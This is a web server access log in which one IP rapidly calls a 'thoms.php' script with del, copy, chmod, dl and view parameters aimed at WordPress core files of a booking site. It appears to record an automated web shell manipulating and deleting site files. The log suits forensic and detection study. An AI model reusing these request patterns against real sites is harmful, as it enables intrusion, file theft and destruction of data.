45.135.193.11 - - [11/Sep/2026:23:44:23 -0400] "GET /thoms.php?del=rest-api&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59414 "http://163.245.207.76:443/thoms.php?del=rest-api&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:24 -0400] "GET /booking-wise2.com.tw/wp-includes/session.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:24 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fscript-modules.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11890 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fscript-modules.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:24 -0400] "GET /thoms.php?chmod=sitemaps.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11526 "http://163.245.207.76:443/thoms.php?chmod=sitemaps.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:24 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=class-wp-block-parser-block.php HTTP/1.1" 200 12745 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=class-wp-block-parser-block.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:24 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-includes%2Fcss HTTP/1.1" 200 20107 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-includes%2Fcss" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:24 -0400] "GET /thoms.php?chmod=class-wp-script-modules.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11536 "http://163.245.207.76:443/thoms.php?chmod=class-wp-script-modules.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:24 -0400] "GET /booking-wise2.com.tw/wp-includes/rest-api.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:24 -0400] "GET /thoms.php?del=class-wp-comment.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59413 "http://163.245.207.76:443/thoms.php?del=class-wp-comment.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:24 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Flink-template.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11895 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Flink-template.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:25 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=theme.json HTTP/1.1" 200 14889 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=theme.json" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:24 -0400] "GET /thoms.php?dl=class-wp-view-config-data.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59403 "http://163.245.207.76:443/thoms.php?dl=class-wp-view-config-data.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:25 -0400] "GET /thoms.php?chmod=class-wp-dependencies.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11547 "http://163.245.207.76:443/thoms.php?chmod=class-wp-dependencies.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:25 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fclass-wp-http-cookie.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11901 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fclass-wp-http-cookie.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:25 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fclass-wp-http-requests-response.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11899 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fclass-wp-http-requests-response.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:25 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=class-wp-network-query.php HTTP/1.1" 200 17969 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=class-wp-network-query.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:25 -0400] "GET /thoms.php?del=capabilities.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59383 "http://163.245.207.76:443/thoms.php?del=capabilities.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:25 -0400] "GET /booking-wise2.com.tw/wp-includes/class-wp-application-passwords.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:25 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=class-wp-network.php HTTP/1.1" 200 16334 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=class-wp-network.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:25 -0400] "GET /booking-wise2.com.tw/wp-includes/class-wp-list-util.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:25 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fclass-wp-http-encoding.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11904 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fclass-wp-http-encoding.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:26 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=default-widgets.php HTTP/1.1" 200 12419 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=default-widgets.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:25 -0400] "GET /thoms.php?dl=utf8.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59413 "http://163.245.207.76:443/thoms.php?dl=utf8.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:25 -0400] "GET /thoms.php?del=class-wp-image-editor-imagick.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59413 "http://163.245.207.76:443/thoms.php?del=class-wp-image-editor-imagick.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:26 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Futf8.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11889 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Futf8.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:26 -0400] "GET /thoms.php?chmod=Text&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11527 "http://163.245.207.76:443/thoms.php?chmod=Text&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:26 -0400] "GET /thoms.php?del=feed-rss2.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59413 "http://163.245.207.76:443/thoms.php?del=feed-rss2.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:26 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=class-wp-matchesmapregex.php HTTP/1.1" 200 12636 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=class-wp-matchesmapregex.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:26 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fclass-wp-theme-json.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11901 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fclass-wp-theme-json.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:26 -0400] "GET /thoms.php?del=class-walker-page-dropdown.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59412 "http://163.245.207.76:443/thoms.php?del=class-walker-page-dropdown.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:26 -0400] "GET /thoms.php?dl=class-wp-roles.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59415 "http://163.245.207.76:443/thoms.php?dl=class-wp-roles.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:26 -0400] "GET /thoms.php?del=class-wp-script-modules.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59413 "http://163.245.207.76:443/thoms.php?del=class-wp-script-modules.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:27 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=feed-rss2.php HTTP/1.1" 200 13551 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=feed-rss2.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:27 -0400] "GET /booking-wise2.com.tw/wp-includes/ai-client.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:27 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fadmin-bar.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11882 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fadmin-bar.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:27 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=class-phpmailer.php HTTP/1.1" 200 12204 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=class-phpmailer.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:27 -0400] "GET /thoms.php?dl=robots-template.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59413 "http://163.245.207.76:443/thoms.php?dl=robots-template.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:27 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fclass-wp-exception.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11899 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fclass-wp-exception.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:27 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fclass-wp-phpmailer.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11849 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fclass-wp-phpmailer.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:27 -0400] "GET /thoms.php?chmod=class.wp-styles.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11529 "http://163.245.207.76:443/thoms.php?chmod=class.wp-styles.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:27 -0400] "GET /thoms.php?dl=class-wp-textdomain-registry.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59411 "http://163.245.207.76:443/thoms.php?dl=class-wp-textdomain-registry.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:28 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fdefault-filters.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11895 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fdefault-filters.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:27 -0400] "GET /thoms.php?dl=speculative-loading.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59252 "http://163.245.207.76:443/thoms.php?dl=speculative-loading.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:27 -0400] "GET /thoms.php?del=class-wp-http-encoding.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59413 "http://163.245.207.76:443/thoms.php?del=class-wp-http-encoding.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:28 -0400] "GET /booking-wise2.com.tw/wp-includes/option.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:28 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fhtml-api&p= HTTP/1.1" 200 12374 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fhtml-api&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:28 -0400] "GET /booking-wise2.com.tw/wp-includes/class-wp-block-parser.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:28 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fclass-wp-block-parser-frame.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11892 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fclass-wp-block-parser-frame.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:28 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=class-wp-query.php HTTP/1.1" 200 54400 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=class-wp-query.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:28 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fclass-wp-rewrite.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11888 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fclass-wp-rewrite.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:28 -0400] "GET /thoms.php?dl=atomlib.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59412 "http://163.245.207.76:443/thoms.php?dl=atomlib.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:29 -0400] "GET /thoms.php?chmod=functions.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11535 "http://163.245.207.76:443/thoms.php?chmod=functions.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:29 -0400] "GET /thoms.php?chmod=ai-client&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11520 "http://163.245.207.76:443/thoms.php?chmod=ai-client&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:29 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=class-wp-block-bindings-source.php HTTP/1.1" 200 13010 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=class-wp-block-bindings-source.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:29 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=default-filters.php HTTP/1.1" 200 23190 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=default-filters.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:29 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=feed-rss.php HTTP/1.1" 200 12540 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=feed-rss.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:29 -0400] "GET /thoms.php?del=user.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59416 "http://163.245.207.76:443/thoms.php?del=user.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:29 -0400] "GET /booking-wise2.com.tw/wp-includes/abilities-api.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:29 -0400] "GET /thoms.php?del=rss-functions.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59412 "http://163.245.207.76:443/thoms.php?del=rss-functions.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:29 -0400] "GET /thoms.php?del=view-config.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59397 "http://163.245.207.76:443/thoms.php?del=view-config.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:29 -0400] "GET /thoms.php?del=class-wp-customize-control.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59413 "http://163.245.207.76:443/thoms.php?del=class-wp-customize-control.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:29 -0400] "GET /thoms.php?dl=class-wp-customize-widgets.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59412 "http://163.245.207.76:443/thoms.php?dl=class-wp-customize-widgets.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:30 -0400] "GET /thoms.php?dl=class-wp-object-cache.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59413 "http://163.245.207.76:443/thoms.php?dl=class-wp-object-cache.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:30 -0400] "GET /thoms.php?dl=class-wp-term.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59413 "http://163.245.207.76:443/thoms.php?dl=class-wp-term.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:30 -0400] "GET /thoms.php?dl=embed.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59412 "http://163.245.207.76:443/thoms.php?dl=embed.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:30 -0400] "GET /thoms.php?del=ms-functions.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59414 "http://163.245.207.76:443/thoms.php?del=ms-functions.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:31 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=sitemaps.php HTTP/1.1" 200 13058 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=sitemaps.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:31 -0400] "GET /booking-wise2.com.tw/wp-includes/class-wp-dependency.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
